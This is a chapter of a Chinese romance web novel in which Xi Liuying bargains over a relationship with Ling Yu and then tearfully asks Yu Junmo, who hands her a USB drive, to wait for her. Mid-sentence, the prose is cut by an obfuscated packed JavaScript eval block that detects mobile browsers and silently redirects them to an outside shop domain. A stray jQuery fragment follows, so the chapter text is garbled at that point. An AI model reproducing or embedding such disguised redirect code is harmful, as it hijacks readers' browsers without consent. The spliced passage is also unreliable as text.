放学,席留璎独自一人出学校,老远就瞧见凌誉那大高个,穿二中校服特别扎眼,站在跑车旁边。
表情看上去很焦急。
在等人。
在等她。
她在人群中,目不斜视,凌誉很快就找见她,喊她,她装没听见,他跑过来拉住她手腕,眼尖,立刻看到她的脖子空荡荡的:“项链呢?”
她不答。
“你是不是生气了?我可以解释。”
路过他们的许多学生都回头看。
席留璎不理会那些目光,还是不看他:“我觉得我好像没有生气的立场。”
“你有。”凌誉立刻接,“我告诉你她是谁——”
“她比我先认识你,喜欢你很久了,见证过你高中三年交一任又一任的女朋友,搞一次又一次的暧昧,她好不容易等到你玩一圈停下来看见她,和她说上话,和她聊上天,甚至你的朋友在你喝醉之后去联系她来照顾你,你想想她有多高兴?”席留璎甩开凌誉的手,“她比我深情。”
“……”凌誉皱眉,“所以你现在是什么意思?要跟我断?”
席留璎看他,不给答案。
凌誉叉腰,看了看四周,舔后槽牙,表情很不爽,在忍情绪。
她就一直静静看他。
“我已经不和她联系了。”
“你有多喜欢她?”
“没到喜欢你那种程度!”
“那你还是一心二用。”
“你不也忘不掉郁钧漠?”
席留璎眼神冷一分:“说好不提他。”
“好。”凌誉摸一把脸,“好,不提他。那你要怎样才肯消气?”
“这不是你该考虑的吗?还要我给解决方案?”席留璎没好气说,越过他走,被凌誉拉住,握住两只肩膀,抵在车上。
街道上的学生都在看。
郁钧漠也在。
他看见席留璎被凌誉抵在车窗旁,她挣扎,推搡他,表情愤慨同他争吵。
像极了她每一次和他吵架的样子。
可他们吵的不是欺骗与谎言,是感情、关系和立场。
这两者本质不同。
她从没和他吵过这方面。
“……”
他看不下去,手出兜,盖上帽子走了。
席留璎被凌誉强行塞进车带走,车子经过红绿灯时,她的视线掠过等红绿灯的人群,也掠过他。
戴着帽子,神情落寞的他。
凌誉没看见。
她平淡地收回眼,胸口轻起伏。
手被凌誉紧紧握着,他单手开车,她要挣脱,他不许,她说:“单手开车不安全,我不想死你车上。”
这句话把凌誉逗笑了。
他听得出来这是在给他台阶下。
两人之间的氛围缓和,凌誉问她晚饭想吃什么,她想了想,说让他决定吧。
“带你吃泰餐吧。”凌誉在打方向盘,“中西日韩咱们都吃过了,去试试泰餐,那家店是我朋友开的,过去给他捧个场?还有折扣。”
她没应。
平静地行驶一段路,凌誉在打电话,和朋友预约位置,刚放下手机,席留璎就道:“算了,我今天胃不舒服,吃中餐吧。”
故意和他对着干。
凌誉看她一眼:“好,那吃中餐。”
于是又打电话,取消刚才的预约,把手机递给她:“想吃哪家中餐你选。”
开出五百米后,席留璎又说:“要不还是吃泰餐吧。”
凌誉没说话,车子开到路边停下。
她不看他,手机扔回去给他。
“你挺会。”凌誉轻笑。
她转过去看他。
原以为凌誉会生气,会再次和他争吵,没想到他会是这样的反应。
很聪明的人,看得出来她在欲擒故纵,在和他拉扯。
凌誉握着方向盘在笑,邪笑,很不爽又拿她没辙的笑,不看她,看的是前面,右手食指轻叩方向盘,自己调节了一会儿,转回来:“什么时候生日?”
这个问题来的突然,但席留璎已然察觉他的意思,低头,双手细细地互相摩挲:“下半年,你等得住么?”
这句话就很有意思了。
一语双关:也许我们到下半年还会在一起,也许确定关系了,而我会答应你所有要求,包括你现在所想的那件事。
凌誉也觉得有意思,笑了笑:“什么时候做我女朋友?”
席留璎耸肩:“等你心里只有我一个的时候,这对你来说应该挺难的吧?”
“不难,但需要时间。”
“我也需要时间。”她说,“高考前我不会谈恋爱,两个月对我来说足够,你呢?”
“够。”
“那就这样。”席留璎笑,主动去牵他的手,“现在死你车上也没关系了。”
凌誉回握她,注视她许久,俯身离她近些,说:“你长得是真漂亮,是个男人都会喜欢你的。”
回:“你也不赖。”
“谈恋爱前给不给亲?”
“不。”
他身子直回去:“行。”
晚饭吃得顺利。
凌誉送她到台恩路,本来是席留璎站在车外冲他挥手告别,目送他的车驶离,但他开出去一段路又折返,她还在原地,看他下车,几步迈过来,双手握住她肩膀,以一种坚定又深情的眼神看她:“我只能等到高考,答应我,高考结束就在一起,好不好?我会跟所有女生断干净,日后我身边只会是你,你也尽快忘掉郁钧漠,好不好?”
席留璎抬头看他。
须臾寂静。
“好。”她说。
凌誉的表情放松了些,他笑了,同她道晚安,往车子那边回走,走出两步,折回来,重新握住她的肩膀,在她额上落下轻轻一吻。
蜻蜓点水。
连嘴唇的潮湿都没有,仅仅是皮肤短促相触。
席留璎没有任何反应,在凌誉上车从驾驶位车窗向她投来最后一眼时,微笑了一下。
车子驶离台恩路,消失在道路尽头。
她站在原地注视车子消失的地方,晚上十点多的台恩路很安静,路灯下的小飞虫互相啄咬,投射在小花园草地里的影子斑驳。
席留璎不回头,轻道:“出来吧。”
树丛中,高个子男生缓缓走出,仍戴着帽子,脸色神情都匿在帽檐的阴影中,半个身子照到路灯光,卫衣内没有其他衣服,看得见锁骨处的海浪纹身。
她转头看他:“都办好了吗?”
“办好了。”沉声答。
她伸手,他将一支U盘放在她手心。
两人之间很沉默。
席留璎轻轻地呼吸着,转身,往他那边走,郁钧漠的眼睛抬起来,与她对视,她借着灯光看到他眼底的潮湿。
“你都看到了。”她说,“凌誉现在很喜欢我,愿意为了我收起花花肠子。郁钧漠,看清楚,这才是我想要的男朋友。”
他不答。
“你和管佳音分了吧。”
疑惑看她。
席留璎无力地抬了抬眉:“不是说会弄黄我每段恋爱,做第三者也要缠着我吗?”
“……”
“你的傲气呢?”
“……”
“还是说,你又有自己的理由,和她分不了?”
一片沉寂。
她抿唇,握紧手中U盘,闭眼。
再睁眼,情绪稳定好,抬腿进别墅。
“我和管佳音没有在一起,”他终于开口,她因声顿步,“是她在陪我演。”
“她不求回报?”
“求的。”
郁钧漠朝她走,席留璎避开。
他倏地停下。
“……”
两三步的距离,饱含爱恨、猜忌、隔阂。
“你应该查她的。”郁钧漠说,“沈一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168156|146298||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狄初三转学到卓灵高中部,和我们同班,在此之前,她读的学校叫馨德女校——”
“你现在是在跟我区别你和凌誉吗?”她打断他,眼神凌厉地看他,“郁钧漠,你有什么资格?”
这句话实在太重了。
她看到他眼里闪过一丝疼痛。
席留璎即刻别开眼,不忍看。
咬了咬牙,继续道:“要比深情,比诚意,凌誉从一开始就全都赢了你。”
郁钧漠不吭声。
她知道现在她正将他的尊严扔在地上踩,在挖掘他所有的痛苦,一点一点,在对他,也对她进行凌迟。
可她不甘心。
她还喜欢他,甚至心疼他,在猜到他所做的一切之后竟然还想为他做些什么,想帮他,却又觉得自己这样太掉价。
所以她要他赎罪,要让他破碎,要他爱她爱得面目全非,像她一样痛苦不堪、遍体鳞伤,她才满足。
但这过程无疑让她自己更受伤。
席留璎背对他,闭着眼忍泪。
姐姐,你的目的达到了。
我现在真的好痛苦。
一边是折磨她,她却又深深喜欢着、心疼着的他,一边是下定决心要做的仇债,还有一边,是她自己。
她首先最爱她自己。
所以不愿自己受委屈。
所以矛盾。
忍着,忍着,浑身都颤抖,开口前做了许久心理准备,却还是遮掩不住声音里的挣扎:“你还喜欢我吗?”
郁钧漠没想到她还会这么问。
她今晚问的问题都太突然,太奇怪,太自我矛盾。
但如果他的回答可以挽回她,哪怕一点点,哪怕她恨他,要他看着她与他人恋爱,要他做她的情人,他都心甘情愿。
只要别对他视而不见,别离开他。
他答:“喜欢。”
“多喜欢?”
“为你出生入死。”
“……”
这句话让席留璎绝望。
她知道郁家是龙潭虎穴,他如果不杀出一条路来就会活不了。
他蛰伏十余年,韬光养晦,和郁耀清那样处心积虑、出手果绝的人斗了这么多年,没有让旁人看出一分一毫。
世界上厉害的不是互相欺瞒的斗争。
是开诚布公的仗。
他是这样的郁钧漠。
城府,头脑,手段,她都赢不了他。
而此刻他却说愿意为她出生入死。
韬光养晦,受尽屈辱,每天都在担惊受怕,每天都活在算计当中。如此不易挣来的一切,怎么可能这么轻易为了一个人,全权放弃。
她不相信。
爱人可以有很多个,婚姻可以有很多段。
但权利、地位、财富,一旦得到就很难置身事外,也难割舍。
她只能赌。
赌上她整颗心脏,整个人。
“既然如此。”
她深呼吸着,转过身,直面他:“如果你还相信我,如果你真心喜欢我,那我现在要你等我,无论发生什么都不要帮我,不要找我也不要去找凌誉和郁耀清,继续你这两个月在做的事情,假装什么都没有发生,直到所有事情都结束。”
“我们就在一起。”
“……”
“你利用我、骗我的事我都可以不追究,我们重新开始。”
他听着,全都认真听着。
她的呼吸开始乱,眼眶已经盈满泪水,倔强地憋着,微仰头,不让眼泪滑落。
“重新开始。”他喃喃重复,“……我答应你。”
“我们会重新开始的。”
“……好。”
郁钧漠离开台恩路,她站在门口目送他。他的身影消失在街道中,她转身进屋,门关上那刻,她彻底被黑暗吞没。
一下子腿软摔坐在地上,万般悲痛地闭上眼,泪水瞬然落下,肩膀颤抖,哭得再直不起腰。